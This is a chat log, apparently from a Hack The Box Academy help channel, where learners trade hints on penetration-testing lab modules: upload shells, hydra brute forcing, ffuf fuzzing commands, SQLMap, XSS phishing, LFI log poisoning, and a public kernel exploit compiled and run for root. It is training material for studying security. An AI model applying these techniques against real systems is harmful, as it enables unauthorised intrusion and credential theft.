I was able to fuzz the availible extensions with burp, and change the filtering on the front end to upload shells. I have then tried accessing the uploaded shells.
I don't understand what I am doing wrong.
@raven cairn DM me dawg i got you
Thank you! That did it. I wonder why that isn't made more clear.
Hello, everyone. I am having trouble with the Web Requests Module.
I am supposed to send a JSON post request to /search.php. However, when I enter the command, all I get is either "empty search data" or the dreaded ">" with no input
I don't what I'm doing wrong, or why I get the ">"
Other than "file", is there another command/way to know how a .vhd is being encrypted? It doesn't give the info.
Thanks, I will try it on my end and see what happens.
Can someone give a hint on the last question of the footprining module, DNS section. Find the fqdn that ends in .203. I've tried dnsenum on all sub/sub.sub domain.
why it says "connect: Network is unreachable"
im trying to use whois command on domain..
anyone?
try a different dns dic.
Thanks, chat history said to use the small list, so I'm using the top 1 million 5000
I almost tried every dict file in seclist..
I'm also stuck at the imap one in the footprinting module. The mail "inbox" is empty
If you are talking about the gear.githubapp.com question there is an issue and it is going to be fixed but no idea when
dm me for help
still stuck
yes
dm
lsexit
hey all, just on the wordpress skills assessment and im stumped at the first question... am i correct in presuming that it is not as straight forward and there is a twist to find the version number?
use WPScan. The best way is with a token. You will need this additional information later.
already tried with wpscan (without token i must admit) and just states site isnt running wordpress...further tried with metasploit too, so im assuming there is a step im missing
Any more assistance with the password attacks module? I've managed to crack Winrm by pure bruteforce with the files provided. I've tried brute forcing the other services with the usernames provided also to no avail, and have spent 48 hours bruteforcing the other services with the files provided but still not cracked anything
For Login Brute Forcing section of Skill Assignment - Website. I have used hydra to brute force the admin panel and have tons of hit. However, when I enter matching usernames and passwords in the admin panel it just loops back to the admin panel login screen. Anyone have any advice?
juicypotato/printspoofer not working for Windows Privilege Escalation Skills Assessment - Part I for some reason
Ah okay.
Have a look at the source code of the website π
finally managed to do it...it was a caching issue from my end which wasnt resolving the site when adding to /etc/hosts.. took 4 restarts and it finally worked now i can crack on with it
Can somebody give me a hint about Skill Assesment - Using Web Proxies? I think that I'm doing it correctly but the result is always the same
on which question
I gotta say windows fundamentals course is kinda messed up. Like they taught me one thing, asked me to do another thing and even after researching it just doesn't work. Maybe I did something wrong, but the assignment also seemed to be quite vague. Just ridiculous, can't imagine windows being harder than linux at this point
I somehow get the wrong SID, even tho I did everything as they told me π¦
I can't even ask for help cuz I don't know where I got it wrong 
Maybe if someone has the time to do this step-by-step with me. But no one does 
Already resolved, thank you all π
I managed to solve this myself. Looks like you have to configure the subfolder's permissions first which is out of the order that was specified. I will report this in #858470491676737536
I guess it does make sense now but it should still be ordered properly, I am doing this for the first time and I don't expect rabbit holes 
DM me
I cant remember, I take a look the question, might need to "showmount" first to see available directory and mount the actual available path to see if its content flag? Let see if this gonna help
Answer might be sitting in /var/nfs/general
Hey I need help on password attacks hard lab: mounting the vhd file. dislocker gives me a cannot parse volume header error and guestmount just doesn't work
hey anyone who can give me a hint how to identify/enumerate the path transversal in the final challenge of LFI?
cause when I'm fuzzing to identify payloads I got a bunch of matches
on the skills assessment?
yes
Look at the section PHP Filters > Source Code Disclosure.
checking this out, ty
Footprinting lab medium. I'm connected as administrator via freerdp, but I can't find anything related to a htb user. I'm really lost in the sql studio as I don't know how to navigate nor what to search for.
FTR, use losetup then either unlock via thunar or dislocker
try to check on the tables
Has anybody done the gobuster-DNS section of the 'Information Gathering - Web Edition' module? I need some help.
gobuster in DNS?? Did they change the module again?
I'll send you a screenshot, thought you might have been out to lunch.
Got it! Thanks!!
Hey, so I completed every module available to me on the Student plan and a few extra ones by spending the cubes I earned. Is there any other way to get cubes without buying them? And do you get some cubes as a reward if you pass the new cert?
Pretty sure you can't get cubes 4 free
Just search up those topics on YouTube. I wouldn't recommend spending money on things before you finish up all the free material
They are sometimes given out as prizes for other things like battle grounds tournaments but otherwise nope.
Requesting nudge on File Upload Skills Assessment; have directory where files are being uploaded to, but I think I'm misinterpreting how the naming convention is meant to be applied
@hallow remnant DM me π
I'm at the password attacks module, network services, and it takes superlong using the wordlist provided, plus I get many connection issues and false positives especially for RDP. Do I miss something...?
Hmm i tried again, i figured that the usernames must be guessed instead of bruteforced... But the machine is just not stable enough, it stops responding frequently. Really annoying. I had the same issue with some other Windows machines today as well π
Let me know if you figure anything out because I've been bruteforcing for days. I broke the winrm and got a list of users which I confirmed through a rid bruteforce on smb, but the password list with those users don't crack
This thing is a monster
It was a labor of love @livid pier
Its a beautiful monster.
I am very excited for this. I am currently stuck in the bowels of hathor so i am hoping it will provide some insights
You are going to love it. Looking forward to learning your thoughts as you go through it.
For sure, thank you! + @mellow whale + @blissful verge
its immense and absolutely packed with AD awesomeness, to the tune of 82,000 words π
Its the War and Peace of Academy modules, got it!ππ
Anyone online able to give me some pointers on the password attacks module?
@manic ermine That module scares me, i haven't started it lol
Haha, fair enough! I've wasted days of effort on it already and haven't even answered all of the first activity!
@unique valve @mellow whale @blissful verge only 3 sections in and it already feels like this is the supreme module. The set up is amazing. The use of 'Scenario' should be used in more mods.
is academy broken right now? my pwnbox keeps connecting and disconnecting after a few seconds
@kind forge I might be able to help, what's up?
Can I have help with SQLmap essentials bypassing web application protections, case 8?
@raven cairn DM me π
bro
I fuzzed the parameters "user" and "username" in question 5 of the final exam of the FFUF module to obtain their values and then do the curl to bring the flag, but I can't find any differential factor
could you help me?
I don't know what wordlist to use anymore? could you guide me on that?
yes try using names.txt , located in seclists/usernames/Names/
but launch almost all of the username folder hahaha
i try
cirt-default-usernames.txt
mssql-usernames-nansh0u-guardicore.txt
sap-default-usernames.txt
top-usernames-shortlist.txt
use names.txt
what parameter bro? user or username?
@kind forge DM me !
guys i need help with the web attacks, Mass IDOR Enumeration section question. the target documents.php page with any uid won't give me anything. I ran the enum script, nothing collected.
@manic zealot if you intercept the traffic in burp you will see something π
Thanks
negroszsd
In network traffic analysis module wireshark three packet pane names how to answer this question anyone please help the format of this answer
Packet l___ , Packet b____ , Packet d_____.
I tried many format but it's shows only error
Hey, not sure where to post this. But I noticed a spelling-error. In "Introduction to Web Applications > Web Application Layout > Microservices".
I had to google "what the heck is re-silence"
Dangit. Another module todo. I'm still trying to catch up. π
Anybody online that can help me for a sec with these questions in the Information Gathering- Web Edition section?
I keep using the methods of nslookup and dig in the module, but keep getting either dropped connections or server cannot locate errors, I'm not sure what I'm doing wrong.
post those in the erratum channel
Are you using pwnbox?
I am not sure which question you are working on.
I got the answers but I submit it's shows wrong in intro to network traffic Analysis on wireshark fundamentals
ugh, I think they may have updated that module. I dont have wireshark fundamentals in my notes
ok I dont see that section so can you post the question ?
thanks
Can I get some help? I'm doing Web Requests and on section HTTP headers. It wants me to use the dev console to find a request to a file of flag_.... But there is no request to said file.
dm me
finally solved, thanks to all for your support: https://academy.hackthebox.com/achievement/465174/path/17
hey people, i stuck at "Web Attacks - Skills Assessment" trying to reset password for user, can't seem to find the way to do it right, always getting "Access denied" what i am doing wrong ? Any help greatly appreciated π
dm me bro
sorry bro.. I wasnt keeping good notes back then
@lethal atlas that's okay, I think it's actually an issue I found that I need to report to support. However I am willing to take tips on note taking lol
DUDE... keep detailed notes on everything. I use Cherrytree
@lethal atlas I shall look into cherry tree. Thanks
THis 1000X times
Shells and payload, lab assignement 2nd host: I get an error using the exploit in msf: "NoMethodError undefined methot 'split' fo nil:NilClass"
that means your options need checked.
maybe the URI of the arkei gate. Set to /, but did not find anything else with gobuster. I got my rhost, the creds. For some reason, there is no lhost, but i set it nonetheless.
Got it, it was the vhost. Why did I need to set it to the url in this situation? Rhost was not enough?
Can someone help me with IMAP/POP3 from the Footprinting Module? somehow i am not able to enumerate the users to get the admin email :/
I guess because it resides behind the host ?? not really clear on that.
||fetch for header||
well somehow the connection get lost in seconds when i try to connect with openssl :/
dm
hey everyone. im having some issues with my new kali vm freezing while running zap and Burpsuite. i think it might be the amount of memory i have allotted to the the vm. how much is sufficient? i have 16gb available (i have some 32 gb sticks coming soon) i currently have 4 gb assigned to the vm
That's what I'm using for a long time now and I am able to do everything w/o problem.
well there goes my theory..
Number of processors maybe? I gave 8, so I assigned Kali 4. Also video memory which I put to max (128mb)
I have 8**
i messed up the number of processors
running much smoother.
I,m having trouble with fuzzing vhost in ffuf module. I add the target ip to my /etc/hosts (<ip> academy.htb) and I'm using this command: "ffuf -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt:FUZZ -u http://academy.htb:30863/ -H "Host: FUZZ.academy.htb" and I'm getting no results, going at 1req/sec...
@sweet heron which section is that?
Filtering results
Just checked my notes, your command looks right. Maybe try respawning the target?
command looks good to me too as long as that wordlist is at that path.
Yes maybe check the wordlist , I used the same one but it was from my seclists directory
1 req/sec tho
Hi, would anyone be able to give a hint on the skills assessment for SQLMap essentials? I know the page to attack but unsure on finding the parameter(s)
I can
that is really slow
burpsuite intruder slow
true
even for intruder 1 per second is crazy slow. I have had to add delays in intruder attacks before
either super slow or goes trough the list with errors count super high
wow the new module on AD is incredible
so much content and such good content
thanks :D
I know they worked hard on it
hmmm. sounds like something isnt quite right then
Getting no positive hits on the parameter fuzzing in ffuf module. They say to do it against the target ip. I use the following command (nothing in /etc/host for this part right?) ffuf -w /usr/share/wordlists/burp-parameter-names.txt:FUZZ -u http://159.65.27.79:30637?FUZZ=key -fs 986 (false positive on fs 986) or should I run it against a particular page?
It auto added a / befgore ?, but my command don't have it
@sweet heron just checked my notes and on the "Parameter Fuzzing GET" section I ran it against admin.academy.htb
Yea it looks like in all of the examples in the section they are running against admin.academy.htb
Yes, the scan just hangs. It looks like everytime I need to edit /etc/hosts, it doesn't work with ffuf.
Now my -u is http://admin.academy.htb:port?FUZZ=key with the <ip> admin.academy.htb in /etc/hosts. Same bug than vhost fuzzin.
think you need to target /admin/admin.php?FUZZ=key
np π
Ok, so regarding my vhost fuzz problem, I needed to change everything to admin.academy.htb too. (in hosts and in -u). I tought my -u url should be the same than my -H host.
Ok now it's on value fuzzing. At the end, the curl with the newly found id just hangs. I can load the page in firefox, but can't curl to it: curl http://admin.academy.htb:32543/admin/admin.php -X POST -d 'id=XX' -H 'Content-Type: application/x-www-form-urlencoded'
Ok, I guess a lot of target are down in ths module, I finally resest to an ip that worked.
docker shenanigans
I am stuck on "Using Web Proxies" final section. How to have payload inside another payload in burp?
What do you mean a payload inside another payload?
I need to add something to the string (probbably using simple list), and then i need to perform some encoding on the whole string
@formal sphinx I just manually pre-pended the 31 character hash to every line in the wordlist . And then had it encode the entire payload
Yeah, i know about that, but i thought there was another way. I guess i will do it manually
there is one sec
im opening up burp
payload processing
or how ever you need to encode it
Here is task: "Once you decode the cookie, you will notice that it is only 31 characters long, which appears to be an md5 hash missing its last character. So, try to fuzz the last character of the decoded md5 cookie with all alpha-numeric characters, while encoding each request with the encoding methods you identified above. (You may use the "alphanum-case.txt" wordlist from Seclist for the payload)"
And here is help: "With payload processing in Burp Intruder, first add the decoded cookie as a prefix to the payload, then encode the entire payload with the same encoding methods you identified earlier (in reverse order). The final payload should be 88 characters long, similar to the one from the previous question."
I need to add string to another string and then encode it
But i can't have payload in another payload
Yea i just did it manually, editing the wordlist to include the hash before each character
then encode the entire thing
I get what you're asking about a payload inside a payload, i feel like burp should be able to do it but i'm not sure how
i can tell you how to make burp do it all for you
@formal sphinx @west canopy if you guys wanna know I will show you in DM
hi everyone
who can give me a hand with this question:
In the 'titles' table, what is the number of records WHERE the employee number is greater than 10000 OR their title does NOT contain 'engineer'?
from SQL Injection Fundamentals Module and SQL Operators section
I really would like to check if my query is right, that all
@tight mesa DM me π
like setting the prefix
i need to if there is another way to do it
Holla everybody
Doing "using web proxies" Proxying tools portion. I'm using kali. But when I curl proxychains curl http://IP:PORT get this $ proxychains4 curl http://134.209.23.209:30121
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
error: invalid item in proxylist section: https 127.0.0.1 8080
Anyone faced this issue too?
ffuf module, the skill assemsemnt, question 3: One of the pages you will identify should say 'You don't have access!'" I only found a couple index.php and two directories. All blank or forbidden pages. I tried the command on all 3 subdomains, my /etc/hosts is working properly for them (I have some hits), but still not the page we are looking for. Any hint? My command: "ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://<VHOST>.academy.htb:32732/FUZZ -e .xxx,.xxx,.xxx -v --recursion -recursion-depth 1 -fs 287"
@sweet heron still having problems?
Yes.
DM me π
hello?
Hi all, I need help on HTB academy. I have connected to the academy OpenVpn but any target i spawn in the challanges its not connecting to. I cant seem to even ping the machine. I have tried from pwn box and local machine and I am having no luck. Can any one help or point me in the right direction to seek help. Thanks
Hi, I have a problem with the module Windows Fundamentals. I can't connect to the machine. Not with the HTB machine and not with my own machine. I can't ping the IP either. I completed other modules before and after trying WIndows Fundamentals and it works everywhere else. Does anybody else have this problem?
In what way are you trying to connect? RDP, SMB, ICMP (via ping)?
@sweet heron did you figure out how to mount the vhd from hard password attacks?
With RDP. It worked now for a minute and then the connection was gone again.
[07:45:04:721] [4315:4316] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 110: Connection timed out
[07:45:04:724] [4315:4316] [ERROR][com.freerdp.core] - transport_read_layer:freerdp_set_last_error_ex ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D]
[07:45:04:724] [4315:4316] [INFO][com.freerdp.client.common] - Network disconnect!
Respawn the target and attempt again.
it works now even without respawning. I tried the same command yesterday and couldn't connect
hi everyone
[6:58 PM]
who can give me a hand with this question:
In the 'titles' table, what is the number of records WHERE the employee number is greater than 10000 OR their title does NOT contain 'engineer'?
from SQL Injection Fundamentals Module and SQL Operators section
[6:59 PM]
I really would like to check if my query is right, that all
hey all! Iβm looking for a web-focused Training Developer to join our Academy team. If you or anyone you know may be a fit, please reach out! More about the role here: https://apply.workable.com/hack-the-box-ltd/j/ABC10ADAEB/
dm
Hi,
I'm starting Linux Fundamentals module. The question I'm stuck (can't get the right answer) is the following <Which kernel version is installed on the system? (Format: 1.22.3)>. I used <uname -r>, but the answer (5.10.0) was rejected by the system. I also tried <uname -v>, and that answer (5.14.0) was also rejected. What am I'm doing wrong?
ssh into the machine
and try uname -r
Thanks @feral gyro I was logged in the machine, and used <uname -r>. But the box on free account has been closed now. Can I still get the IP of the machine?
try with ur vm
via vpn
Will the answer of my own (personal VM) be accepted in HTB Academy module? I doubt that.
it does not matter where you test from the target is the same so the answer, if you test the right target will always be the same
Thanks. I'm going to install OpenVPN, and then try.
Thanks. I didn't know how about the OpenVPN connection to HTBA. Now I've noted few things, and I'm going to work on them.
You should notice that whatever IP you get in pwnbox, you will also get on your own VM when using the VPN connection.
Thanks again. I never used OpenVPN before. I just downloaded that file and used <openvpn --config academy.ovpn> but it doesn't seem to work "Exiting due to fatal error" is the last line. Any pointer?
Thanks a lot π
It worked. I'm logged in π
nice... Happy hacking
Well, I don't even know the basics of fundamentals π Far away from any hacking. Perhaps, with nice community members like you, I'll learn few things.
You will always find help here. There are a lot of good people on here who are at various stages in their journey. The main key is to read carefully. Most every question can be answered just following the examples
π
I'll learn/work as a humble student. I didn't find (or I missed in the intro) about the VPN connection to HTBA.
anyone online that can answer a question about buffer overflow in linux
@lethal atlas i can try!
i've reserved the weekend for this, i'll let you know if i'm successful π
hope connections will be more stable..
How can it be that I sometimes can't ping the Academy VM and then it works again after a while by itself? The VPN connection is established
It seems to me that US - 2 is having issues
i changed to US -1 and its been much steadier
Thanks π well i cant change it for academy vpn or?
actually you can.
I only have this button where i can download the .ovpn file π (Well according to the file i am connected to "remote edge-eu-academy-1.hackthebox.eu 1337")
Well thanks a lot xD
click vpn settings then select a new region. After you will need to download a new ovpn file
hope that helps your connection. Like I said it seemed to fix mine
Thanks you a lot π I will try it
Unfortunately it did not help :/
would anyone be willing to help me with the phishing section of the XSS module?
what has to tripped up?
trying to figure out how to construct this payload
like im finding the exploits via XSStrike that should work
but how to put the payloads into it is confusing me
honestly if you just follow the examples from that section you will get thru it
i tried that last night and it seemed to just break everytime but ill try again
Looking for some guidance on Stack Buffer Overflows Windowsx86, section "Controlling EIP". When i run my win32bof_exploit.py script , i am getting error: name 'payload' is not defined. I have no clue what I am doing wrong, I think my script is correct:
I'm losing my mind π¦
i guess because it is in another funktion?
just tab it in. The indentation is not right
Thank you brother , that was the problem
No problem π
I need to learn python.
Yes these are pretty common mistakes when you program python for a while π
Weβve got a module for that!
Help for the module: Windows Privilege Escalation Skills Assessment - Part I (Question N.2)
I solved all question but not the second question:
Find the password for the ldapadmin account somewhere on the system.
Where is this password in the system? I search with Lazagne and other string command.
Tnx
Yes, DM me if you're still suck.
@glad orbit DM me π
Does anyone have any idea how to go about solving the XSS - Phishing Module? I cannot seem to figure out what they are trying to do here or how to get the URL to send to so that some mysterious credential I login with is going to let me login
@warm lava I might be able to help
Jared you must live on here
Pretty much lol
I have been trying to work through these bug bounty courses when time permits but some of these things...π
so my notes on this section aren't super detailed but if you wanna DM me i can show you
I think that's the one you use document.write()
Unfortunately I'm away from a computer all weekend
what do you get from silver htb academy ?
A monthly allotment of cubes
there is no way for me to have accees to every pentesting windows related course in one month ?
Sure, if you can complete the modules fast enough
becasue i paid silver and i only have 240 cubes
As you complete a module you get some cubes back
it says i'm enrolled to Active Directory Enumeration
ah ok
but when i open it i have to pay 1000 cubes
That's tier 3?
There are so many modules in the lower tiers to do.
I recommend the bug bounty hunter path
this path is not good for me
Ok.
i wanted to do Active Directory Enumeration
Then you will have to buy cubes
Yw
File inclusion module, server log poisoning question. Once I poison my user-agent, I can't get back the server to show the access.log nor doing RCE.
Hello everyone,
I just started yesterday with HTBA. My first attempts were using only Workstation instances, which has a limited time per day. Thanks to @lethal atlas and @feral gyro , I setup OpenVPN, and now I can connect from my Distro to HTBA using ssh (VM?). Since this also has limit per session (1 hr), where can I quickly get the new IP address to connect? From Dashboard or any other place/link?
Hi. there is no limit in using HTBA through openvpn from your machine. The time it shows is only to complete that current lab which you re woking on. Even if it ends you can just click on 'click here to spawn the target' and get the new ip
If you have more doubts just DM me
need some help with information gathering, would be great if i can dm somebody
feel free to dm me
Hey I'm stuck at broken authentication login bruteforcing, none of these have worked.
@flint helm Try filtering the wordlist for passwords that are all upper case with a number at the end, i.e. PASSWORD2
aaah, I didn't test without lowercase 
thank you
Stupid question. On broken authentication -- default credentials.
I am trying to find the default credentials for a login. The website title is Webaccess HMI/SCADA Software
I've checked https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv and https://github.com/scadastrangelove/SCADAPASS/blob/master/scadapass.csv but I haven't been able to find the default credentials.
SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, pas...
I've looked for a while lol. Don't know why I can't find it.
scroll to the right
I did. Will I find the user and password in the picture?
Oh i may have misread, you are saying you tried these and they didnt work?
I tried admin:blank
Yes
all of them?
Got it π
I ran a brute force attack on SSH with hydra for the last couple of hours, and then finally I noticed that the host is not even reachable anymore because spawn time was over π© Is there a way to detect this? I wasted hours bruteforcing a target that was not even up π
This is from the Password Attacks module... with the provided lists and 16 threads it takes more than 2 hours, but the machine only spawns for 70 minutes...
you have shown me my pain
I cut the password list in half
did one half one session
second half the other
i see... but it still means, you can never be sure that you didn't miss the correct credentials because of some connection error, right? βΉοΈ did you set the threaads to -t 4 as recommended by hydra, or did you leave it at default?
i did -t 4
thx, I left it at 16 because then it was really fast. but i guess it doesnt work that way π₯² new try...
The hydra attacks in that module will not take this long. They will usually take ~5 seconds. If it is taking that long to crack then you are probably doing something wrong.
interesting!! we talk about the same module, "Password Attacks" section "Network Services"?
I was thinking about Login Brute forcing. sorry
You also brute force SSH in that module.
ooh what a pity. thank you though
i feel the "password attacks" module could use some hints. It's a bit pointless to provide wordlists with 20000 combinations if time runs out after 60 minutes π© or maybe i'm missing something.
Hey friends! I was not able yesterday to reproduce the server log poisoning in the LFI module. Any one can check my inputs? π
I'm also here to help with plenty of modules.
Hi guys, (first post)
I am in the Linux priv esc module and I cannot get past task one.
i cannot seem to run this line,
gcc kernel_expoit.c -o kernel_expoit && chmod +x kernel_expoit
there is no file that ends with ".c" after downloading the kernel exploit
forgive the question if i am being bone headed
Section?
Kernel Exploits
Copy and paste the code into a file, and name it with .c
That should work.
That is what I did.
https://vulners.com/zdt/1337DAY-ID-30003 You are getting the exploit here right?
Ooooohhhhhh.... noted
Yes
compile, change permissions, and run. You should get Root.
i will try now. thank you so much
Question. why can i not just rename the file and add ".c" to the end?
Thanks π Will do henceforth.

